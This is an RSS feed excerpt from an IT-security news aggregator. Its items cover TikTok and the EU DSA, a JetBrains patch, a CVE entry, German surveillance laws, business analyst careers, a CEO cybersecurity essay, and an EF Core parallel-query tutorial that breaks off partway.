<description><![CDATA[Die EU-Kommission will, dass Jugendliche im Internet weniger sichtbar sind.    –   Vereinfachte Pixabay Lizenz: Lidia NikoleTikTok macht es Fremden zu leicht, die Accounts von Minderjährigen zu finden. Nach Auffassung der EU-Kommission verstößt die Plattform damit gegen den Digital Services Act. ...]]></description>
<link>https://tsecurity.de/de/3691813/it-nachrichten/eu-kommission-tiktok-soll-teenager-konten-strenger-abschirmen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691813/it-nachrichten/eu-kommission-tiktok-soll-teenager-konten-strenger-abschirmen/</guid>
<pubDate>Fri, 24 Jul 2026 16:46:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2556" height="1438" src="https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772.jpg 2556w, https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772-1536x864.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/lidia-nikole-2YJPu3oRGzY-unsplash-scaled-e1784900206772-2048x1152.jpg 2048w" sizes="(max-width: 2556px) 100vw, 2556px"><figcaption class="wp-caption-text">Die EU-Kommission will, dass Jugendliche im Internet weniger sichtbar sind.  <span class="media-license-caption">  –   Vereinfachte Pixabay Lizenz: <a href="https://unsplash.com/de/@lidia_nikole">Lidia Nikole</a></span></figcaption></figure>TikTok macht es Fremden zu leicht, die Accounts von Minderjährigen zu finden. Nach Auffassung der EU-Kommission verstößt die Plattform damit gegen den Digital Services Act. Zu Alterskontrollen bei TikTok äußert sich Brüssel noch nicht.]]></content:encoded>
</item>
<item>
<title><![CDATA[JetBrains Fixes Critical IntelliJ IDEA Code Execution Flaw and Four TeamCity Vulnerabilities]]></title>
<description><![CDATA[JetBrains has released security updates to address a critical code execution vulnerability in IntelliJ IDEA, alongside four high-severity vulnerabilities in TeamCity. Development teams and CI administrators are urged to apply these patches immediately to prevent potential remote attacks. JetBrain...]]></description>
<link>https://tsecurity.de/de/3691481/it-security-nachrichten/jetbrains-fixes-critical-intellij-idea-code-execution-flaw-and-four-teamcity-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691481/it-security-nachrichten/jetbrains-fixes-critical-intellij-idea-code-execution-flaw-and-four-teamcity-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:10:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JetBrains has released security updates to address a critical code execution vulnerability in IntelliJ IDEA, alongside four high-severity vulnerabilities in TeamCity. Development teams and CI administrators are urged to apply these patches immediately to prevent potential remote attacks. JetBrains published a security advisory that details multiple issues across its IDE and server products, including IntelliJ […]</p>
<p>The post <a href="https://cybersecuritynews.com/jetbrains-fixes-critical-vulnerabilities/">JetBrains Fixes Critical IntelliJ IDEA Code Execution Flaw and Four TeamCity Vulnerabilities</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-24727 | SUNNET Corporate Training Management System up to 10.3 e-paper draft upload unrestricted upload (EUVD-2026-48530)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in SUNNET Corporate Training Management System up to 10.3. This affects the function e-paper draft upload. This manipulation causes unrestricted upload.

This vulnerability is registered as CVE-2026-24727. Remote exploitation of the attack ...]]></description>
<link>https://tsecurity.de/de/3691431/sicherheitsluecken/cve-2026-24727-sunnet-corporate-training-management-system-up-to-103-e-paper-draft-upload-unrestricted-upload-euvd-2026-48530/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691431/sicherheitsluecken/cve-2026-24727-sunnet-corporate-training-management-system-up-to-103-e-paper-draft-upload-unrestricted-upload-euvd-2026-48530/</guid>
<pubDate>Fri, 24 Jul 2026 13:43:09 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/sunnet:corporate_training_management_system">SUNNET Corporate Training Management System up to 10.3</a>. This affects the function <code>e-paper draft upload</code>. This manipulation causes unrestricted upload.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-24727">CVE-2026-24727</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Polizeigesetz-Erweiterung in Schleswig-Holstein: Schwarz-Grün will dich beim Autofahren filmen]]></title>
<description><![CDATA[Mit Videoüberwachung, die automatisch Gegenstände und Verhalten detektiert, will Schleswig-Holstein gegen Handysünder vorgehen.     –   Vereinfachte Pixabay Lizenz: Tyler Clemmensen, Bearbeitung: netzpolitik.orgDie Regierungskoalition von Schleswig-Holstein hat die sowieso schon überbordende Poli...]]></description>
<link>https://tsecurity.de/de/3691302/it-nachrichten/polizeigesetz-erweiterung-in-schleswig-holstein-schwarz-gruen-will-dich-beim-autofahren-filmen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691302/it-nachrichten/polizeigesetz-erweiterung-in-schleswig-holstein-schwarz-gruen-will-dich-beim-autofahren-filmen/</guid>
<pubDate>Fri, 24 Jul 2026 12:49:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1920" height="1080" src="https://cdn.netzpolitik.org/wp-upload/2026/07/auto.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Ein fahrendes Auto im Fadenkreuz." decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/auto.jpg 1920w, https://cdn.netzpolitik.org/wp-upload/2026/07/auto-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/auto-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/auto-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/auto-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px"><figcaption class="wp-caption-text">Mit Videoüberwachung, die automatisch Gegenstände und Verhalten detektiert, will Schleswig-Holstein gegen Handysünder vorgehen.   <span class="media-license-caption">  –   Vereinfachte Pixabay Lizenz: <a href="https://pixabay.com/de/users/tyler_clemmensen-18018200/">Tyler Clemmensen, Bearbeitung: netzpolitik.org</a></span></figcaption></figure>Die Regierungskoalition von Schleswig-Holstein hat die sowieso schon überbordende Polizeigesetznovelle noch einmal deutlich verschärft. Künftig sollen KI-Kameras Handysünder jagen, bewaffnete Drohnen erlaubt und heimliches Filmen und Abhören einfacher werden.]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stellungnahmen zur Geheimdienstreform: „Ein erheblicher Überwachungsdruck für die Gesellschaft“]]></title>
<description><![CDATA[Black Box BND.    –   Alle Rechte vorbehalten: IMAGO / IPONDas Urteil verschiedener zivilgesellschaftlicher Verbände und der Bundesdatenschutzbeauftragten fällt eindeutig aus: Die geplante Geheimdienstreform von Bundesinnenminister Dobrindt ist unverhältnismäßig und verletzt vielfach die Grundrec...]]></description>
<link>https://tsecurity.de/de/3691217/it-nachrichten/stellungnahmen-zur-geheimdienstreform-ein-erheblicher-ueberwachungsdruck-fuer-die-gesellschaft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691217/it-nachrichten/stellungnahmen-zur-geheimdienstreform-ein-erheblicher-ueberwachungsdruck-fuer-die-gesellschaft/</guid>
<pubDate>Fri, 24 Jul 2026 12:03:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1900" height="1068" src="https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Der Eingang des BND in Berlin" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403.jpg 1900w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/imago89099403-1536x863.jpg 1536w" sizes="(max-width: 1900px) 100vw, 1900px"><figcaption class="wp-caption-text">Black Box BND.  <span class="media-license-caption">  –   Alle Rechte vorbehalten: IMAGO / IPON</span></figcaption></figure>Das Urteil verschiedener zivilgesellschaftlicher Verbände und der Bundesdatenschutzbeauftragten fällt eindeutig aus: Die geplante Geheimdienstreform von Bundesinnenminister Dobrindt ist unverhältnismäßig und verletzt vielfach die Grundrechte. Verfassungsschutz und BND werden hingegen mächtiger denn je.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



